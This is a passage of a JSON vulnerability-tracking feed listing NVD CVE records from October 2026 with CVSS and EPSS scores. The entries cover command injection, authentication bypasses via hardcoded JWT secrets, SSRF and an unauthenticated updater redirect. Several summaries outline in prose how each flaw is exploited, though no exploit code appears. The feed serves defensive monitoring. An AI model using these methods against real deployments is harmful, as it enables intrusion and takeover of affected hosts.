fixes.","publishedAt":"2026-10-14T15:17:16.710Z","updatedAt":"2026-10-20T02:17:09.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110636","asOf":"2026-10-20T02:17:09.833Z"},"epss":{"probability":0.02691,"percentile":0.85776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110636","type":"primary","publishedAt":"2026-10-14T15:17:16.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110635","cveId":"CVE-2026-110635","aliases":[],"kind":"vulnerability","title":"webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled.","summary":"webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. Attackers controlling file names or option strings passed to cwebp, dwebp, gwebp, or webpmux functions can inject shell metacharacters to execute OS commands as the Node.js process.","detail":"webp-converter before 3.0.0 contains an OS command injection vulnerability in src/webpconverter.js helpers that run libwebp binaries via execFile with shell enabled. Attackers controlling file names or option strings passed to cwebp, dwebp, gwebp, or webpmux functions can inject shell metacharacters to execute OS commands as the Node.js process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.560Z","updatedAt":"2026-10-26T17:17:15.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110635","asOf":"2026-10-26T17:17:15.063Z"},"epss":{"probability":0.02521,"percentile":0.84737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110635","type":"primary","publishedAt":"2026-10-14T15:17:16.560Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110634","cveId":"CVE-2026-110634","aliases":[],"kind":"vulnerability","title":"git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API.","summary":"git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API. Attackers who control a diffed document string can embed $(cmd) or backtick substitutions that shelljs.exec evaluates, running commands with Node.js process privileges.","detail":"git-diff before 2.0.7 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying crafted strings to the gitDiff API. Attackers who control a diffed document string can embed $(cmd) or backtick substitutions that shelljs.exec evaluates, running commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.417Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110634","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.02348,"percentile":0.83559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110634","type":"primary","publishedAt":"2026-10-14T15:17:16.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110632","cveId":"CVE-2026-110632","aliases":[],"kind":"vulnerability","title":"Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the...","summary":"Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the UpdateConfigReferent method. Attackers can point the updater to a malicious reference server serving modified module archives with matching MD5 digests to write files and execute code as SYSTEM.","detail":"Report One MyReport Updater through 2.1.1 exposes an unauthenticated gRPC service on TCP port 9095 that allows remote attackers to redirect the SYSTEM updater by invoking the UpdateConfigReferent method. Attackers can point the updater to a malicious reference server serving modified module archives with matching MD5 digests to write files and execute code as SYSTEM.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.143Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110632","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00672,"percentile":0.51786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110632&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110632","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110632","type":"primary","publishedAt":"2026-10-14T15:17:16.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110632&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110632, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110631","cveId":"CVE-2026-110631","aliases":[],"kind":"vulnerability","title":"Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty...","summary":"Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty core_public_keys and passkeys lists fail open by default. Attackers reaching port 8120 can present any generated keypair to issue Periphery API requests, including terminal sessions and container operations, executing commands on managed hosts typically as root.","detail":"Komodo through 2.3.3 contains an authentication bypass vulnerability in the Periphery agent that allows unauthenticated attackers to connect as a trusted Core because empty core_public_keys and passkeys lists fail open by default. Attackers reaching port 8120 can present any generated keypair to issue Periphery API requests, including terminal sessions and container operations, executing commands on managed hosts typically as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:15.983Z","updatedAt":"2026-10-20T02:17:09.693Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110631","asOf":"2026-10-20T02:17:09.693Z"},"epss":{"probability":0.00864,"percentile":0.58358,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110631","type":"primary","publishedAt":"2026-10-14T15:17:15.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110628","cveId":"CVE-2026-110628","aliases":[],"kind":"vulnerability","title":"Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255.","summary":"Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255. When S3_ENDPOINT is unset, attackers can pass arbitrary url query parameters to fetch() to read internal services, localhost ports, and cloud instance metadata.","detail":"Kan 0.5.5 through 0.6.0 contains an unauthenticated server-side request forgery vulnerability in the /api/download/attatchment route due to an incomplete fix for CVE-2026-32255. When S3_ENDPOINT is unset, attackers can pass arbitrary url query parameters to fetch() to read internal services, localhost ports, and cloud instance metadata.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:15.540Z","updatedAt":"2026-10-16T18:17:32.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110628","asOf":"2026-10-16T18:17:32.790Z"},"epss":{"probability":0.00425,"percentile":0.36497,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110628&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110628","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110628","type":"primary","publishedAt":"2026-10-14T15:17:15.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110628&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110628, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110616","cveId":"CVE-2026-110616","aliases":[],"kind":"vulnerability","title":"NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field...","summary":"NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.","detail":"NullHub through 2026.5.29 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* management API because the auth_token field defaults to null and is never assigned. Attackers sending requests without Authorization or Origin headers to non-loopback listeners can control agent instances, rewrite configurations including provider credentials, and manage cron jobs and MCP servers.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:13.767Z","updatedAt":"2026-10-20T02:17:09.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110616","asOf":"2026-10-20T02:17:09.270Z"},"epss":{"probability":0.00952,"percentile":0.61052,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110616","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110616","type":"primary","publishedAt":"2026-10-14T15:17:13.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110612","cveId":"CVE-2026-110612","aliases":[],"kind":"vulnerability","title":"vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil.","summary":"vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil. Attackers can sign a token with superUser=true and arbitrary groupIds claims to gain super administrator access to any URL on vlife instances.","detail":"vlife through 2.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge JWTs using the hardcoded HS256 signing key in TokenUtil. Attackers can sign a token with superUser=true and arbitrary groupIds claims to gain super administrator access to any URL on vlife instances.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:13.187Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110612","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00995,"percentile":0.62436,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110612","type":"primary","publishedAt":"2026-10-14T15:17:13.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37282","cveId":"CVE-2020-37282","aliases":[],"kind":"vulnerability","title":"office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or...","summary":"office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or generateHtml(). Attackers can embed $(...), backticks, or a closing quote with shell metacharacters in the file name, which is concatenated into an unoconv command run via child_process.exec(), executing commands with Node.js process privileges.","detail":"office-converter through 1.0.2 contains an OS command injection vulnerability that allows attackers to execute commands by supplying a crafted fileName to generatePdf() or generateHtml(). Attackers can embed $(...), backticks, or a closing quote with shell metacharacters in the file name, which is concatenated into an unoconv command run via child_process.exec(), executing commands with Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:16:59.520Z","updatedAt":"2026-10-26T17:17:10.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37282","asOf":"2026-10-26T17:17:10.743Z"},"epss":{"probability":0.03037,"percentile":0.87409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37282","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37282","type":"primary","publishedAt":"2026-10-14T15:16:59.520Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37282, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-37281","cveId":"CVE-2020-37281","aliases":[],"kind":"vulnerability","title":"Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed...","summary":"Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed with the shipped default jwt.secret. Attackers knowing an existing user ID can sign an HS256 token with that subject and present it as a bearer token to the Management API, impersonating administrators to gain full platform control.","detail":"Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed with the shipped default jwt.secret. Attackers knowing an existing user ID can sign an HS256 token with that subject and present it as a bearer token to the Management API, impersonating administrators to gain full platform control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:16:59.370Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-37281","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00881,"percentile":0.58877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-37281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2020-37281","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-37281","type":"primary","publishedAt":"2026-10-14T15:16:59.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 